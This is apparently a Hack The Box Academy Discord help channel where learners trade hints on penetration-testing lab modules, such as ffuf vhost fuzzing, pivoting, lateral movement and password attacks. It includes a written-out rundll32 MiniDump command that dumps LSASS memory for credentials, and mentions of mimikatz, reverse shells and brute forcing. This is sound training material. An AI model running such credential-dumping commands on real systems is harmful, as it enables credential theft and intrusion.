the one on the left is using HTB provided machine and 2nd on is the HTB VM on my VMware
dotn worry about the IP tho
just restarted it thats all
What are the odds? I'm running LFI/Log Poisoning and someone is nmap scanning the box at the same time?
lol...
You are trying to bypass firewall rules or IPS, I can’t remember, so if you change your IP your count with the firewall gets reset . With one you are blocked and not with the other.
so ur saying to reset again and try on my machine?
Yes it should work, that or a new vpn connection file. In real life, you can’t respawn another instance so you would have to scan from another IP
Curious, it comes from a local IP.
Yup, so somehow connected to someone else's instance I suppose
Is this an Academy module?
yeah
If so, it's not from a local IP, but rather it's routing through the cluster from the public IP / port IIRC
So probably just someone scanning the IP of the cluster
People scan shit 24/7
Interesting - edit Yeah, I saw the 192.168 & figured it was a local scan
So for Identifying SSRF in the SERVER-SIDE ATTACKS module, was ||using Local File Inclusion|| the intended way to get the flag? Only asking because the prompt is to "identify an internal web application"
did u ever get the error i got? cause it doesnt work rip
got the same question as this, im banned before i get my full port scan done
You don't need the -sV @normal panther
-sV does additional probing
As a note I never had to use -D
Also spoiler
The first screenshot has the flag
Has anyone finished the Windows Lateral Movement module? Got a question about a procedure that I might be making a stupid mistake
Module: metasploit
Section: Sessions and Jobs
Output claims system is appears to be vulnerable and injectable. But it does not do its process, i've refreshed the IP address, downloaded a new vpn config. Same issue
However, if i do use the HTB academy system it'll work but it's slow for me which i hate
Btw how would I avoid getting banned ik I would use the -S but sometimes error comes with that
hello everyone how are you?
I'm facing an issue in ATTACKING WEB APPLICATIONS WITH FFUF
Page 9
Filtering Results
What help u need?
@edgy gale some hackers are threating me
what are they saying?
They are saying that they will terminate my yt account they already hack my location and my jaaz account
I tried but the still
still?? they show you any proofs
Then you likely have something dodgy on your computer, and should reformat.
++
@edgy gale yes they show me that I live in punjab
u are from Pakistan?
Yes
ahh what proof they have shown?
When you say hack your jaaz account, what do you mean.
Jaaz is a bank account
Goblin it is basically a Sim card App account
Yes
Ok, can you recover it?
like our bank account it create on sim
100% he can.
Yes I did it I recovered it
Right
Change passwords, enable 2FA, reformat and ignore them.
Go to the police if you want, but unlikely they will do much.
hackthebox tech support 👍
Thank God my money was saved and I changed password
Zakora come in my dm i will help u.
Really
hehe
come in dm.
@young arrow Finished the linux fundamentals module, reccomend I skip to bash coding or do the windows fundamentls + windows cli modules
Ok
No offense @edgy gale - but they've already been taken in by someone they don't know
The last thing we should do is encourage them to confide in someone else they don't know
yepp!
@edgy gale
yeah i got it.
advice? 
Have been busting my head on a double hop, if anyone can give me a nudge I'd appreciate! It's on the WinRM section of Win Lateral Movement.
I can get in the Host, but not as the right account which should have the read permissions to the file I want.
bro smh i ran the exact command yesterday and it worked
You wouldn't use -S
btw this is just a question since everything is working for me, but isnt -S to manipuate the source?
so therefore we arnt banned
same thing with the -D RND
hides our ip
-S sends a spoofed ip meaning the reply gets sent to the spoof, not to you
RND includes your IP in the random genned list
so to avoid getting banned only way is to have a VPS set up?
Nope
I got the answer without needing to spoof or rnd
Or need a vps
Just don't overthink it tbh
yeah ik it was a general question for a rl senario if i was to get banned obviously i cant restart the machine
You still wouldn't spoof
Read the documentation
On an rl engagement you'd likely limit your scan rate anyway
rl = reallife?
Yes
ayt thanks boss
I'm facing an issue in ATTACKING WEB APPLICATIONS WITH FFUF
Page 9
Filtering Results
RND is only useful for a manual reviewer, so they can't determine which is real btw
It helps if you describe your issue
The simple thing is, are you filtering the result as described?
yeah
Don't use the exact filter from the example
i'm using this
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://83.136.249.153:37314/ -H 'Host: FUZZ.83.136.249.153:37314' -fs 900
Utilize the results you receive to modify the filter
but he is giving me all the list as result
Dude... you need a vhost for this iirc
hmm
inlanefreight.htb from what I recall
It tells you above the questions what's needed
can u tell me about this..
Breath marcie.. breath..
Read the question
It tells you the domain to fuzz against
yeah i have read it can u tell me is there any mistake in command that i have write?
Try running a VHost fuzzing scan on 'academy.htb', and see what other VHosts you get. What other VHosts did you get?
Your -H is wrong
Your -H should be -H "host: FUZZ.academy.htb"
i have also tried without writing port in -H but no better result.
That's what's wrong with it
ok lemme check
You don't put the ip at all in the host header
See the last example
-u http://Academy.htb:port from the example only works if you have it in your hosts file
yeah i have it in /etc/hosts file
Hosts file shouldn't have the port
That's by far the most common mistake
But you can also do http://ip:port as the only thing that truly matters is the host header
yepp i know
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:37314/ -H 'Host: FUZZ.academy.htb' -fs 900
it is correct now?
yeah
Then just be patient
but it still give me all wordlists leters result as vhost
Then adjust your filter size
Use the most common response size for your filter
that is 200
Gotta be smarter than the tool you're using
i have tried it but still it give me all as result.
Ok and?
That's not the response size btw
That's the response code
yeah
Response size is listed after size:
yeahs that is response code/status
Since -fs filters out by size that's what you use
I'm trying to tell you but you're not listening lol
oh that maybe a mistake
oh i got it now.
hey yes. What i mean is if your command worked with the pwnbox it should work from you vm, but like Marcie said, there was stuff not needed in your command. You should always try to strip down the command you use to the bare minimum
so what status code mc i have to use.
Not status code
Size
I'm telling you
it is not they do not listen, but they do not obey and comply lol
Change -fs 900 to another value
ok
Look at your results to find the answer
oh i got the result now..
Btw it's referring to the previous section for what filter size you should use and how to determine it
Thank u soooo much... i got it.
The Vhost fuzzing section is directly connected to the filtering results lab
actually i was thinking if i enter 900 it will filter all 900 range value.
i think i have to read that again.
btw Thanks mate.
Have a good day
-fs 900 filters out ONLY result sizes of 900
hmm i got it now.
Not a range
Ranges would be x-y where x is the starting value y is the ending value
Or a list of values a,b,c,d
It helps to actually read the documentation.
It also helps to take notes
omg... didn't realize that was the flag for this exercise. i was having trouble running dnscat2 and decided to come here to look. found that flag and thought it was for another part of the module
@fathom pendant
What
I want to be a member of hack the box
Ok
You don't need anyone to give you am invite dude
Just sign up on the website
Unless you mean staff, then you gotta apply for a job
<@&861185840277487616>
Read #rules and shit
We aren't a hacker for hire server
this server is about the hackthebox platform
Really hurting here.... Even the shell I got in the DC is ephemeral and with little permission! 
https://app.hackthebox.com if you actually read #welcome you'd know that
We don't do hacking brigading or anything like that
We don't do that here
PIVOTING, TUNNELING, AND PORT FORWARDING
RDP and SOCKS Tunneling with SocksOverRDP
For some reason the SocksOverRDP-Plugin.dll gets removed from the victim host after 1 minute... I tried loading it while it was still there but this happened.
If anyone can help me out on the Win Lateral Movement module, I'd appreciate.
Been stuck on the same for about 6 hours
Real-time protection is running
Defender might not be on, but real-time protection is separate from that
I see.. thx
Hey @upper haven , is it ok to do a check on Client-Side prototype pollution challenge from Whitebox Attacks module? many people are facing a lot of issues to make their payloads work, and i think there are some problems in the challenge... thanks for understanding buddy
#1234357888114364508 is the best place for that feedback
The password is the answer to the previous question
It's the same setup as the previous questions
It also helps to give the module and section name
i see cause even after restart i got the same thing i just moved on from it now perhpas i needed to update my nmap
Nah the medium lab is just weird like that
You can likely get it if you connect to it directly
I tried Pass-The-Ticket but I am not able to progress any further.
U will not understand
Can't find you on Google. Also this isn't a place for this. If you wanna hire someone, post a job offer on some platform
Somebody help!
.
Also, I am not able to find the compiled binary for Rubeus. The GhostPack repository just contains the source code in its release page. I found Ghostpack-CompiledBinaries repo but when I try to execute it, I get error:
The dot net version in the M* server is v4.0.30319. The repo contains binary for various DotNet versions, but not 4.0.3. I tried all the available versions. They give the same error.
https://academy.hackthebox.com/module/77/section/726
This hint wasn't very useful 
Can anyone help?
Get the precompiled version.
Use a wordlist
You are welcomed
makes sense, ty
Where?
Thanks
Any way to speed this up?
Timing options or set rates
So let's say -T5, will that work with proxychains aswell?
After 8 ours and battling with the Pwnbox, finally finished the section and i think it wasn't with the path expected.
Took ligolo-ng for tunnel, netexec with module, Rubeus and PSRemote.
Couldn't tell if proxychains is rate limited. Really don't know, but my normal nmap is always set to a higher rate, independent to whether proxying or not.
got crackmapexec to work, thanks! hopefully it doesnt take the entire day to get it
you just need to rdp and psremote
@next bronze more hints please
which question again?
Crack this user's password hash and submit the cleartext password as your answer.
10th question
yep, capture and crack
Tried that already 😭
I have not got any kind of access to DC01 yet
Chisel/proxychains isn't working properly on the Pwnbox. I've commented earlier.... It worked fine on a bare metal with VPN though.
I guess I'm stubborn and kept trying with it and to pivot without RDPing into SRV02.
I got Remote PowerShell access in DC01 as 'Helen', but my it was too ephemeral and broken, also the Domain Controller would not auth 'Leonvqz'.
I had to resort to ligolo-ng again to get internal network access....
you can just double rdp, the creds from the previous sections give you rdp access to both SRV hosts
Haven't thought of that. Initial approach was to PtH with the provided NTLM hash
did you managed to capture a hash for the user in Q9?
Thought that since I had PSRemote in SRV02, I could at least execute commands remotely in the DC01.
This that got me a a shell as 'Helen'. Executed a base64 PowerShell reverse shell with Invoke-Command.
Should be doable :-)
yeah that's the double hop thing, winrm doesn't store creds in memory so you'll need to give plaintext creds if you're already in a session
I think the section did mention that
Yes.... but since I got only the NTLM hash for the other user, I tried to PtH with mimikatz and execute a reverse shell file, but since it kept breaking, it would not execute or it was opening a bunch of windows in the DC which I would not see nevertheless. 😅
Q9?
yes the answer of Q9 is the username of the user you need
No
Thats the question I am stuck on
I know thw username from BloodHound enum
But no password
im doing the network services RDP question in the password attacks module, i solved all other questions but im stuck on it... hydra is taking too long and its printing out every attempt, i tried -t 4
Can I DM u?
use inveigh
hello @everyone If I downgrade my subcription to student from platinum , will I get a refund?
@fathom pendant do you know that ?
@ everyone doesn't work btw
Message support
where did you men support AI
The website support, yes
There is no support on the discord
Need to speak to a person? Learn how to reach our support via HTB Labs.
i written bu I didnt get answer from AI
I don't see why you'd get a refund instead of just a downgrade on your next renew
But as marcie said, contacting sup would be a better idea
There are actual agents in the support chat, they will be coming online soon
Then be patient
Actual human beings answer those questions at times
NO I mean it gave me the wrong answer
Yes I want to talk with human
How do you know its the "wrong" answer
oh well
Then message the bot again
imma try to get a cake recipe from it later then
Support doesn't monitor the discord
because it gave me manual but there not answer
I said
Discord isn't the place for support.
Also you can't post images bc your account isn't linked
I knew thanks
Anyway. Just try again
waht does mean
got you, one sec
your HtB account isnt linked to your discord account
https://account.hackthebox.com/security-settings
Scroll down, and click that Discord button
how can i connect
Idk what yours will say cuz mine is already connected
in the site settings
here
this one
thanks
yw
That does nothing afaik; you still gotta link via the #welcome method
can anyone help btw?
Unless they recently made it do something
oh thats weird
Hydra shouldn't be printing every attempt afaik
.
it says "account on ip mightbBbe valid but not active for remote desktop"
did I connect now bro
Rdp is a weird one afaik
not yet
ye
but I connnected how so i checked setting also good
u should have a role
And you're using the username and password list from the resources?
like me
yea
its just taking too long, 1-2 hiurs and im still at sysadmin, which is like at the first 3-7 users or smth
I suggest maybe resetting target/changing vpn region
alr
It shouldn't take 2 hours
i do this but add -t 4
Default rdp is 4 threads
sry that might be an exaggeration, i think its only 1 hour
So you don't need to specify
Even an hour
Most if the password tasks should take at most 20 minutes
Yeah that is odd
my terminal is filled like that xd
Like I said. Reset target or even change vpn region
alr
@nova ginkgo can u plz dm me your registered email address or the username on the HTB Academy platform?
is this really how module should be completed?
Would'nt it be effective to take notes right away after each section in module ?
it's entirely up to you. what they show is a recommendation that you can choose to follow
Pivoting module - Skill Assesment
https://academy.hackthebox.com/module/158/section/1441
"In previous pentests against Inlanefreight, we have seen that they have a bad habit of utilizing accounts with services in a way that exposes the users credentials and the network as a whole. What user is vulnerable?"
I found the correct username while listing directories in C:\Users however I don't think that was the right way to do it, and now I'm wondering if I missed out on something. I can't view the hint anymore.
6 and 7 imo would be the better things to practice
That's a way to do it
There's no "incorrect" way
And C:\users is one of the first places to explore
Alright but I don't understand what is meant with "exposes the users credentials and the network as a whole"
Where would they else be exposed? SMB?
going over the module once its completed is not really effective for paced learning but it's alright i'd say. How making non-technincal documentation is beneficial for us?
we understand jargons.
this is not pentest report.
The report for the exams require it
So practicing "dumbing down" the explanation is good practice
It also helps cement a general idea of the attack
ahh, they make us do it. that was not the case with CDSA, right?
Idk haven't done it
But I'm assuming the same reporting concept applies
You have the report portion for executives, and the portion for the technical people
following this, it'll take me around 6 months to complete cpts path-
It might be. Im un-employed currently, just finished college.
It just helps with understanding overall as a "can you explain this to someone that doesn't know tech"
Ok and?
same, but I was kicked from uni also xD
now that's what i'd call art.
It would look bad on resume, like a break- if i dont take the exam.
it get's you shortlisted and recognised, then further your knowledge gets you the job.
Not really
How would it make you look bad lol
i finished college, you were kicked, lmao. how is that same? kidding
Either way. The only way to look bad on your resume is if you make yourself look bad
idk, i did soc analyst path, took me 6 months (3months i was very sick). I dont think employers here even recognises the htb stuff in my resume.
Well cdsa is only like 1 year old, and cpts is gaining traction
Here, everyone's obsessed with EC council.
CEH is king in some countries
it's weird, im prepping for CEH practical exam, while learning through the toughest possible path.
In mine, it really is.
do you want to continue convo anywhere else? im in
Nah
Alright. is it weird though?
this
where does evil-win-rm download files if the path is not specified?
it needs the full path iirc
yeah one of the quirks of evil-winrm is that it requires full path specified
not really... it downloaded the file in the directory from where it was started
i couldn't find the file because i haven't downloaded it
you couldn't find the file because you didn't specify the full path ig
I have a question ! If I'm doing a module that costs 10 cubes and it is written +10 on this module did I get my cubes back + 10 cubes or I just got +10 to have the same number of cubes ?
I just tested and the file was downloaded in the directory from where evil win rm was started.
you get back to the same number of cubes
Okay but how can i earn more cubes to do harder modules ? Have I to pay ?
there are modules that offers you some rewards in cubes
yes, when you run out of cubes, you have to buy more
yes
https://help.hackthebox.com/en/articles/5272936-introduction-to-htb-academy → Academy Cubes section
New to Academy? Looking for more information? Learn about HTB Academy, the Cubes system, and the platform structure here.
you will not go net positive in cubes on the free plan
you will always either stay the same (t0 modules); or lose some (the rest only give 20% back)
I figured out I'd probably need to do it another way in order to (possibly) obtain the other accounts password. To do that I want to dump lsass and crack it on my attacker VM, but I'm having trouble transferring it.
My best idea was to use SCP since SSH is open - does my syntax look incorrect?
do you have remote access via xfreerdp or something? with xfreerdp there's the /drive: mount feature, and with something like evil-winrm there's the upload/download feature
Yes I have RDP access but unable to drag/drop or copy/paste. I will try with the drive feature - I also thought of meterpreter to download.
When doing the attacking wordpress using WPscan for brute forcing, Im assuming in the real world there would be some kind of WAF/IP blacklisting to stop this?
is it normal this takes this much time? (Password Mutations section of Password Attacks module)
the password list I got has like 90k words
Bump up the threads
It should be faster
even at 64 it's slow (2x faster)
is it possible to paste smth in pwnbox?
I did with meterpreter but I actually uploaded mimikatz
Because it's so annoying to write everytime
it doesn't like firefox but if you go fullscreen mode there's a clipboard button
You on a Mac by chance Vadimka?
no, I use firefox on windows
But even if.. you can copy text then right click and paste in Pwnbox
uhh ctrl c and ctrl shift v work for me
on chrome
it uses it's own clipboard in pwnbox
You should be able to ping the target machine right?
doesn't work for me 
maybe make sure this is on

Interesting! Did you use socat for the tunneling?
Do you see a little clipboard icon in the bottom right @gilded radish ?
I'm sure I used to be able to just ctrl+c ctrl+shift+v
Nope I uploaded mimikatz using meterpreter
But I've gotta chuck it in that clipboard now
(click clipboard, enter text in to input box, then it is passed to the Pwnbox's clipboard)
I mean for the meterpreter. Did you just "follow along" with this?
^
it only appears in fullscreen mode
Ah, I am in Chrome
Showed when I expanded to a new tab with the button
but didn't need full screen
yeah it's weird on ff
Hm, weird
but it doesn't work also haha
it does, paste the stuff you want into the text box, then paste in pwnbox terminal or whatever with ctrl shift v
It says it is like middleware, but I still can not paste in smth
OOOOOO
IT WORKS, OMG finally
thank you, guys
yeah idk how you lived without that
Hey so I'm running openvpn on my kali machine and am trying to connect to the target machine but nothing is working. It has been like this for about a month now and I've just been completing modules in the pwnbox instance. Is there any way to fix this so I can use my local kali machine?
48 threads is safe for this one
are you running pwnbox at the same time you're trying to use your own vm? what errors are you getting? does the ovpn connection finish? (did you reach out to support?)
Which VPN are you trying sometimes I have to shuffle around vpns to get the machine to start
No I'm just running openvpn. I can't ping, run nmap, connect to web addresses, currently working on password attack module and can't use any of the tools. openvpn gives me the sequence completed. I have not reached out to support just making sure theres nothing else I can do on my end before doing that
I've been going between us academy 5 and 6
even still should have reached out to support when it started happening so you could have figured it out then
¯_(ツ)_/¯
I will do that
also make sure the vpn is set to only use resources on its own network in the network manager settings
Wdym?
Google i cba to find the link rn
Basically yeah, I placed a meterpreter on the first box too and did port forwarding
Wow
Hello, any tip for the OTP part on the skills assesment for Broken Authentication.
What have you already tried?
I have no clue, I just randomly followed the steps that there's on the module OTP
Take another close look at the module.
ok
i enter my university email but it give Unverified
Step by step guide on how to access the Student Plan.
yes i write but nobudy reply me
When did you write? A request like this certainly takes a few days. HTB must first check whether the information is correct.
can you check your discort
he's not staff so he does not have the ability to verify that info
are you staff
you just have to be patient as said, it takes a few days for HTB to verify and cross-check the info
no, i'm not staff -- this is an issue to do with support, which you contacted
so be patient
you'll be notified via email when it's processed
You have to open a ticket as described here, not just contact the bot.
https://help.hackthebox.com/en/articles/7973133-getting-the-student-subscription
Step by step guide on how to access the Student Plan.
Footprinting module SMTP:
Q-> Find username that exist on server.
as you can see root and mysql are the users that are present in the smtp server, I tried both, not working.
I got mysql from enumerating
on looking at forums people advised to use the wordlist provided in resources. But idk I can't access resources when pressing it nothing happens, it doesn't download the pdf
yes and it is not downloading
On the pivoting module using dnscat2, I got an error when starting the server saying it couldn't load the file. Went to use the bathroom, ran the same command and it worked for some reason. Not sure if this comment would help someone else, but I thought I'd write it in case it does.
Not intended 😄 But not significantly easier either, so I'm not gonna patch it. Good job on finding an alternative solution! You shouldn't have any trouble finding the flag by accessing the internal web application, so feel free to try to solve the lab again the intended way 🙂
In Password Attacks module, Attacking LSASS, this commnd isn't doing anything
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 652 C:\lsass.dmp full
are you running powershell as admin?
Actually I wasn't, this fixed it thanks!
|| ffuf with digits text ||
can i get a little nudge here or in dm's for "footprinting medium lab"?
i found 2 creds so far, || alex, sa || tried with these users & password to smb, evil-winrm, 3389 but none of these gives me a "next step" what should i do rn?
have you tried ||xfreerdp|| too?
ah no.. thank you
What http server software is the question (without the version), and it says Apache. But thats wrong... Am I looking at the wrong thing?
What is the module and section? I vaguely remember this. It was a stupid question.
Information Gathering - Web Edition (Skills Assessment)
the question is about inlanefreight.htb and not .com
Gah, they goofed with that module since I completed it so my answers are all messed up. I think if you do some web requests and dump the headers you'll see some x-powered-by results IIRC.
I'll see if I can fire up that section and give you a clearer hint unless qui3t's answer works (I don't believe it is right).
Oooh, good catch there. Yeah that's part of it.
When I use that it said it couldnt resolve the host
you need to update you /etc/hosts file. A .htb domain is not public, it cannot be resolved by public DNS server so you have to tell whataver tool you are using where to look. Either by specifying the ip in your host file or by specifying a resolver in the command
That skill assessment is tricky, try to understand how the thing is actually working
ooooh thats right thank you. I forgot abt that
Hello guys, I just had a question (please excuse me if this isn’t the right channel ) I don’t have a windows machine, it’s important for a hacker to know both Linux as well as windows, I’m pretty good at Linux, but is there any way I could practice or learn windows?
hey, i'd say just use it : ) but otherwise htb academy has courses like Windows Fundamentals, Intro to the Windows command line, Intro to active directory. They are free iirc
Thank you.
Wow, they totally changed that info gathering - web module... that stupid question used to be about imgur.com
yeah i guess it is more in scope now as it is unlikely we will have to research in the wild for the exam
Is the integrated terminal new? I hadn't seen that before & that's a super-cool way to use the pwnbox!
Hello!
I am on the Login Brute Forcing module, Service Authentication Attacks section, part 2 Service Authentication Brute Forcing.
When trying to connect or brute force via SSH I get told that it only uses public key authentication, not password authentication, which obviously I’m supposed to find the password to login so I am very lost.
Oh did the help section get moved?
hey guys im doing the sqlmap skill assessment again and i know where to find the injectable point is, but the thing is. i cant create it like a bug in the machine
ive tried to reset it a few times
can someone talk to me in private maybe im missing something
never mind
I need some help, accordingly network is unreachable meaning my metasploit attack wont work
Change vpn regions, reset target, any basic troubleshooting done?
Hey all, I'm working through API Attacks skill assessment, And I was trying to || reset supplier password for all the suppliers who has security question of favorite color||. I tried ||ffuf with https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Security-Question-Answers/html-colors.txt|| but no success. Can you let me know if this correct?
maybe the space between /p: and the password string ?
I am now getting this error. I reset the machine twice
I removed it in the next command.
sorry.
I am now getting this error
it was working an hour back. I had solved it till this point. last flag to go. I am sure that the credentials are correct
¯_(ツ)_/¯
Can someone help me with the skills assessment of Windows Event LOG & Finding evil? I just need a hint, I just dont want to text here because its a bit crowded
@fathom pendant could u help me please , im doing the identifying the ssr and port, but im tryna access it either via curl or burp with no success, tried to use gopher prior but didnt work either
can't verify your password, and i don't have note about the rdp command. But i googled your error, what about if you specify the domain xfreerdp /d:DOMAIN /u:USER then the rest of the command
wait I am doing it again. just running hydra on the creds
Any clue on mine? I did all basic troubleshooting, but it seems to be how SSH is set up on their machine
Reach out to support ig
what worked? just your previous command?
I'm not some magic wizard that has all the answers
yes. after hydra
my bad
hey are you able to ping the htb VPN server?
Wasn't talking to you
oh
Can anyone send me an Instagram or WhatsApp link or a hacking link?
Didn't even notice you @ me tbh
